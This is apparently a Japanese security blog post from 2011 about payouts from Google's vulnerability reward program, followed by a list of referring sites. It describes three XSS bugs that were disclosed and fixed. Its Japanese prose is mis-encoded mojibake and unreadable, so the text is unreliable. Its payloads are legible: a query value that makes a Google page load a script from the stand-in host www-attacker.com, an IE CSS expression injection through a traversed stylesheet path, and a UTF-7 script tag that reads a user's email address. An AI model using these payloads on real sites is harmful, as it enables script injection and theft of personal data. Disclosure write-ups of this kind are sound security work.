2011-02-07
Google's Vulnerability Reward Program
Google¤Ï2010ǯ11·î¤«¤éGoogle¤Î¥¦¥§¥Ö¥¢¥×¥ê¥±¡¼¥·¥ç¥ó¤Î¥»¥¥å¥ê¥Æ¥£ÀȼåÀ¤òÊó¹ð¤·¤¿¿Í¤ËÊó½·¤ò»Ùʧ¤¦À©ÅÙ¤ò¥¹¥¿¡¼¥È¤·¤Þ¤·¤¿¡£ËͤâÁᮤ¤¤¯¤Ä¤«Êó¹ð¤·¡¢°ÊÁ°Twitter¤ÇGoogle¤«¤é$7337夤¤¿¤è¤È¤Ä¤Ö¤ä¤¤Þ¤·¤¿¤¬¡¢¤¢¤ì¤«¤é¿·¤¿¤Ë$6337¤ÎÆþ¶â¤¬¤¢¤ê¡¢º£¤Î¤È¤³¤í¤³¤ÎÀ©ÅÙ¤Ç$13174($1337 ¡ß 2 + $1000 ¡ß 2 + $500 ¡ß 17)¤ò夤¤Æ¤¤¤Þ¤¹¡ª¤¢¤ê¤¬¤È¤¦¡ª
Äɵ 7337+6337=13674¤Ê¤Î¤ÇÆþ¶â¤¬¤¢¤Ã¤¿¤Î¤Ï$13674($1337 ¡ß 2 + $1000 ¡ß 2 + $500 ¡ß 18)¤Ç¤·¤¿¡£¹ç·×¤ò´Ö°ã¤¨¤Æ¤Þ¤·¤¿¡£Â¤·»»Æñ¤·¤¤¡ª¡ä¡ã+$500¡ª
½¤Àµ¤µ¤ì¤¿¤â¤Î¤Ï¾ðÊó¤ò¸ø³«¤·¤Æ¤â¤¤¤¤¤È¤Î¤³¤È¤Ê¤Î¤Ç¡¢Êó¹ð¤·¤¿Ã椫¤é¿¾¯ÊѤï¤Ã¤¿¥¿¥¤¥×¤ÎÀȼåÀ¤ò3¤Ä¾Ò²ð¤·¤è¤¦¤È»×¤¤¤Þ¤¹¡£
<script>¥¿¥°¤Îsrc¤òºÙ¹©¤¹¤ë¤³¤È¤Ë¤è¤ëXSS
¤³¤ó¤Ê¥Ú¡¼¥¸¤¬¤¢¤ê¤Þ¤·¤¿¡£
URL:http://ex.google.com/?q=xxx
<html>
¡¦¡¦
<script src="http://www-xxx.google.com/a.js"></script>
¡¦¡¦
</html>
URL¤Î¥Ñ¥é¥á¡¼¥¿¤¬<script>¥¿¥°¤Îsrc¤ÇÆÉ¤ß¹þ¤àURL¤Î¥µ¥Ö¥É¥á¥¤¥ó¤Î°ìÉô¤Ë¤Ê¤ë¤«¤ó¤¸¤Ç¤¹¡£
¡Ö"<>¡×¤Ê¤É¤Ï½èÍý¤µ¤ì¤Æ¤¤¤Þ¤·¤¿¤¬¡¢¤½¤Î¾¤Îʸ»ú¤Ï¼«Í³¤ËÆþ¤ì¤ë¤³¤È¤¬½ÐÍ褿¤Î¤Ç¡¢
www-¤Ç»Ï¤Þ¤ë¼«Ê¬¤Î´ÉÍý²¼¤Î¥É¥á¥¤¥ó¤òÍѰդ·¡¢°Ê²¼¤Î¤è¤¦¤ËÆþÎϤ¹¤ë¤³¤È¤Ç³°Éô¥É¥á¥¤¥ó¤Îjs¤òÆÉ¤ß¹þ¤Þ¤»¤ë¤³¤È¤¬¤Ç¤¤Þ¤·¤¿¡£
(Îã¤Ïwww-attacker.com¤¬¼«Ê¬¤Î´ÉÍý²¼)
URL:http://ex.google.com/?q=attacker.com/xss.js%23
<html>
¡¦¡¦
<script src="http://www-attacker.com/xss.js#.google.com/a.js"></script>
¡¦¡¦
</html>
ÊýË¡¤Ïñ½ã¤Ç¤¹¤¬¤¢¤Þ¤ê¸«¤Ê¤¤¥Ñ¥¿¡¼¥ó¤À¤Ã¤¿¤Î¤Ç¡¢´ÓÄ̤·¤¿»þ¤Ï¡Ö¤ª¤Ã¡×¤È»×¤¤¤Þ¤·¤¿¡£
¥¹¥¿¥¤¥ë¥·¡¼¥È¤Î¥Ñ¥¹¤òºÙ¹©¤¹¤ë¤³¤È¤è¤ëXSS
URL:http://www.google.com/path1/path2xxx/path3
<html>
¡¦¡¦
<link href="http://www.google.com/path1/path2xxx/css/default.css" rel="stylesheet">
¡¦¡¦
</html>
path2¤ÎÉôʬ¤¬¡Öpath2¡×¤È¤¤¤¦Ì¾Á°¤Ç¤Ê¤¯¤Æ¤âNot Found¤Ë¤Ê¤é¤Ê¤¤¤Ç¡¢¤½¤³¤Îʸ»ú¤¬<link>¥¿¥°Æâ¤ËÆþ¤ë¤«¤ó¤¸¤Î¥Ú¡¼¥¸¤Ç¤¹¡£
¤³¤ó¤Ê¾ì¹ç¡¢¡Ö"<>¡×¤¬Å¬Àڤ˽èÍý¤µ¤ì¤Æ¤¤¤¿¤È¤·¤Æ¤â¡¢IE¤Ê¤é¥¹¥¯¥ê¥×¥È¤òÃíÆþ¤Ç¤¤ë¤³¤È¤¬¤¢¤ê¤Þ¤¹¡£
URL:http://www.google.com/path1/..%5Csearch%3Fq=}*{x:expression(alert(1))}%23/path3
<html>
¡¦¡¦
<link href="http://www.google.com/path1/..\search?q=}*{x:expression(alert(1))}#/css/default.css" rel="stylesheet">
¡¦¡¦
</html>
¥¹¥é¥Ã¥·¥å¤òÆþ¤ì¤ë¤È¸µURL¤Î³¬Áؤ¬ÊѤï¤Ã¤Æ¤·¤Þ¤¦¤Î¤Ç¡¢%5C¤ÇÂåÍѤ·¤Æ¥Ç¥£¥ì¥¯¥È¥ê¤òÁ̤ꡢ
Google¸¡º÷¤Ç¡Ö}*{x:expression(alert(1))}¡×¤ò¸¡º÷¤·¤¿¥Ú¡¼¥¸¤òÆÉ¤ß¹þ¤ó¤Ç¤¤¤Þ¤¹¡£
IE¤Ç¤Ï¡¢¤³¤ì¤Ç¥¹¥¯¥ê¥×¥È¤¬Æ°ºî¤·¤Þ¤¹¡£²¿¤¬µ¯¤¤Æ¤¤¤ë¤Î¤«¤È¤¤¤¦¤È¡¢¡¢
IE¤Ï°Ê²¼¤Î¤è¤¦¤Ê¥³¡¼¥É¤Ç¡¢<link>¥¿¥°¤Îhref¤Ë»ØÄꤵ¤ì¤Æ¤¤¤ëHTML¤Î¥Ú¡¼¥¸¤ò¥¹¥¿¥¤¥ë¥·¡¼¥È¤È¤·¤Æ»ÈÍѤǤ¡¢ÇطʤòÀÖ¤¯¤¹¤ë¥¹¥¿¥¤¥ë¤òŬÍѤµ¤»¤ë¤³¤È¤¬¤Ç¤¤Þ¤¹¡£*1
<link href="http://www.google.com/search?q=}*{background:red}" rel="stylesheet">
¡Ö}*{background:red}¡×¤ß¤¿¤¤¤Ê¤Î¤¬href¤ÇÆÉ¤ó¤Ç¤ë¥Ú¡¼¥¸¤ÎHTMLÆâ¤ËÆþ¤Ã¤Æ¤ë¤È¡¢¤½¤ì¤ò¥¹¥¿¥¤¥ë¥·¡¼¥È¤È¤·¤Æ½¦¤Ã¤Æ¤¯¤ì¤ë¤«¤ó¤¸¤Ç¤¹¡£¤³¤Î»ÅÍͤˤè¤ê¡¢Æ±Íͤˤ·¤ÆHTMLÆâ¤Ë¡Ö}*{x:expression(alert(1))}¡×¤¬Æþ¤ë¾ì½ê¤òhref¤Ë»ØÄꤹ¤ì¤Ð¡¢expression¤ò½¦¤Ã¤Æ¤¯¤ì¤ÆJavaScript¤ò¸Æ¤Ó½Ð¤»¤Æ¤·¤Þ¤¦Ìõ¤Ç¤¹¡£(Äɵ text/html¤Î¥Ú¡¼¥¸¤òCSS¤È¤·¤ÆÆÉ¤à¤³¤È¤¬¤Ç¤¤ë¤Î¤Ï¡¢¤¤Á¤ó¤È¥Ñ¥Ã¥Á¤ÎÅö¤Æ¤é¤ì¤¿IE¤Ç¤Ï¡¢Æ±°ì¥É¥á¥¤¥ó¤·¤«¤Ç¤¤Þ¤»¤ó¡£)
¥¹¥¿¥¤¥ë¥·¡¼¥È¤Î<link>¥¿¥°¤Îhref¤Î¥Ñ¥¹¤Ë¤Ê¤Ë¤«Æþ¤ì¤ë¤³¤È¤¬¤Ç¤¤ë¤È¡¢href¤ÇÆÉ¤ß¹þ¤ó¤Ç¤¤¤ë¥É¥á¥¤¥ó¾å¤Ë¡Ö}*{background:red}¡×¤È¤«ÁÞÆþ¤Ç¤¤ë¥Ú¡¼¥¸¤¬°ì²Õ½ê¤Ç¤â¤¢¤Ã¤¿¾ì¹ç¡¢¥Ç¥£¥ì¥¯¥È¥ê¤òÁàºî¤·¤Æ¤½¤Î¥Ú¡¼¥¸¤Þ¤Ç»ý¤Ã¤Æ¤¤¤±¤Ð¡¢Ç¤°Õ¤Î¥¹¥¿¥¤¥ë¥·¡¼¥È¤òÆÉ¤ß¹þ¤Þ¤»¤ë¤³¤È¤¬¤Ç¤¤ë¡¢¤¹¤Ê¤ï¤Áexpression¤«¤éJavaScript¤ò»ÈÍѤǤXSS¤¬µ¯¤³¤ë¤Î¤Ç¡¢(ÉáÄ̤Ϥä¤é¤Ê¤¤¤È»×¤¦¤±¤É)¥¹¥¿¥¤¥ë¥·¡¼¥È¤Î¥Ñ¥¹¤Ë¥æ¡¼¥¶¡¼¤ÎÆþÎÏÃͤòÆþ¤ì¤é¤ì¤ë¤è¤¦¤Êºî¤ê¤Ï´í¤Ê¤¤¤È»×¤¤¤Þ¤¹¡£
UTF-7¤Ë¤è¤ë<script>¥¿¥°¤ò»È¤Ã¤¿¾ðÊóÀà¼è
¤³¤ó¤Ê¥Ú¡¼¥¸¤¬¤¢¤ê¤Þ¤·¤¿¡£
URL:http://ex.google.com/?q=xxx
//["xxx","example@gmail.com","Tokyo"]
xxx¤Î¤È¤³¤í¤ËURL¤Î¥Ñ¥é¥á¡¼¥¿¤ÎÃͤ¬¤¤Æ¤¤¤Þ¤¹¡£
¾¤ÎÆþÎÏÃͤò»î¤·¤¿¤È¤³¤í¡¢¡Ö"<>¡×¤Ê¤É¤Ï¥¨¥¹¥±¡¼¥×¤µ¤ì¤Æ¤¤¤Æ¡¢²þ¹Ô(%0a)¤òÆþ¤ì¤ë¤È¤Ï¤¸¤«¤ì¤Þ¤·¤¿¡£HTTP¥ì¥¹¥Ý¥ó¥¹¥Ø¥Ã¥À¤ÎContent-Type¤Ï¡Ötext/html;charset=utf-8¡×¤È»ØÄꤵ¤ì¤Æ¤¤¤Þ¤·¤¿¡£
°ì¸«ÌäÂê¤Ê¤µ¤½¤¦¤Ç¤¹¤¬¡¢IE6/7¤Ç¤Ï¥Ú¡¼¥¸¤Îcharset¤¬Content-Type¤Ç»ØÄꤵ¤ì¤Æ¤¤¤Æ¤â¡¢¤½¤Î¥Ú¡¼¥¸¤òsrc¤«¤éÆÉ¤â¤¦¤È¤¹¤ë<script>¥¿¥°¤ËÀßÄꤵ¤ì¤¿charset¤ÎÃͤ¬Í¥À褵¤ì¤ë¤È¤¤¤¦¥ï¥ó¥Ñ¥¯¤Ê»ÅÍͤ¬¤¢¤ë*2¤Î¤Ç¡¢¤³¤ì¤òÍøÍѤ·¤Æ³°Éô¤ËUTF-7¤Îcharset¤òÀßÄꤷ¤¿<script>¥¿¥°¤«¤é¡¢¥á¡¼¥ë¥¢¥É¥ì¥¹¤È½»½ê¤ÎÉôʬ¤òÆÉ¤ß¤À¤¹¤³¤È¤¬¤Ç¤¤Þ¤¹¡£
¤³¤Î¤è¤¦¤Ê¤«¤ó¤¸¤Î¥³¡¼¥É¤ò³°Éô¤ËÀßÃÖ¤·¤Þ¤¹¡£
<script src="http://ex.google.com/?q=%2BAAo-var%20x%2BAD0AWwAi-" charset="utf-7"></script>
<button onclick="alert(x)">Click</button>
src¤Ë»ØÄꤵ¤ì¤Æ¤¤¤ëÉôʬ¤Î¥Ú¡¼¥¸¤ÏÉáÄ̤˥¢¥¯¥»¥¹¤¹¤ì¤Ð¤³¤ó¤Ê¤«¤ó¤¸¤Ë½ÐÎϤµ¤ì¤ë¤Ï¤º¤Ç¤¹¡£
//["+AAo-var x+AD0AWwAi-",""example@gmail.com","Tokyo"]
¤·¤«¤·¤Ê¤¬¤éIE6/7¤ÇUTF-7¤Îcharset¤¬ÀßÄꤵ¤ì¤¿<script>¥¿¥°¤«¤é¤Ï¤³¤¦²ò¼á¤µ¤ì¤ë¤Ç¤·¤ç¤¦¡£
//["
var x=["",""example@gmail.com","Tokyo"]
²þ¹Ô¤Ï¤³¤³¤Ç¤ÏÃÆ¤«¤ì¤ë¤Î¤Ç¡¢¤¢¤¨¤Æ+¤È-¤Ç¤¯¤¯¤Ã¤¿·Á¼°¡Ö+AAo-¡×¤Ë¤·¤ÆÆþ¤ì¡¢¥³¥á¥ó¥È¥¢¥¦¥È¤«¤éÈ´¤±¤Æ¤¤¤Þ¤¹¡£¤³¤ì¤ÇJavaScript¤Î¥¨¥é¡¼¤â̵¤¯¡¢ÊÑ¿ôx¤Ë¥á¡¼¥ë¥¢¥É¥ì¥¹¤È½»½ê¤ò´Þ¤á¤ë»ö¤¬½ÐÍè¤Þ¤·¤¿¡£¤½¤ó¤ÊÌõ¤Ç³°Éô¤ËÀßÃÖ¤·¤¿button¤ò¥¯¥ê¥Ã¥¯¤¹¤ë¤È¥á¡¼¥ë¥¢¥É¥ì¥¹¤È½»½ê¤¬¥¢¥é¡¼¥È¤·¤Þ¤¹¡£
Google¤Ï¤³¤ÎÌäÂê¤ò¡¢URL¤Ë¥È¡¼¥¯¥ó¤òÉÕÍ¿¤·¥Á¥§¥Ã¥¯¤¹¤ë¤³¤È¤ÇÂкö¤·¤Þ¤·¤¿¡£
¤Ï¤¤¡¢°Ê¾å¤Ç¤¹¡ª
Google¤Ë³¤¤¤Æ¡¢Â¾¤Î¥µ¡¼¥Ó¥¹¤Ç¤âÊó½·À©ÅÙ¤òÀߤ±¤ë¤È¤³¤í¤¬¤Ç¤Æ¤¯¤ë¤È¤¤¤¤¤Ê¤¢¤È»×¤¤¤Þ¤¹¡ª
*1¡§Àµ³Î¤Ë¤ÏIE6/7¤È¡¢DOCTYPE»ØÄê¤Ë¤è¤êIE5¥â¡¼¥É¤Ç¥ì¥ó¥À¥ê¥ó¥°¤µ¤ì¤Æ¤¤¤ëIE8¤Ç͸ú¤Ë¤Ê¤ê¤Þ¤¹¡£
*2¡§¤Ï¤»¤¬¤ï¤è¤¦¤¹¤±¤µ¤ó¤Îȯɽ(1»þ´Ö55ʬÊÕ¤ê)¤ÇÃΤê¤Þ¤·¤¿¡ª
- 1482 http://news.ycombinator.com/
- 520 http://techwave.jp/archives/51589311.html
- 340 http://twitter.com/
- 287 http://news.ycombinator.com/news
- 126 http://news.ycombinator.com/item?id=2187750
- 87 http://www.google.com/reader/view/
- 53 http://d.hatena.ne.jp/
- 42 http://www.jimmyr.com/
- 41 http://longurl.org
- 39 http://reader.livedoor.com/reader/
- 2011-02-06 Cli@ 4/66 6%
- 2011-02-07 Cli@ 6/108 5%
- 2011-02-06 ¸ÍÂޤ˼ê¤ò°ú¤¹þ¤Þ¤ì¤Ê¤¤¤è¤¦¤Ë 3/54 5%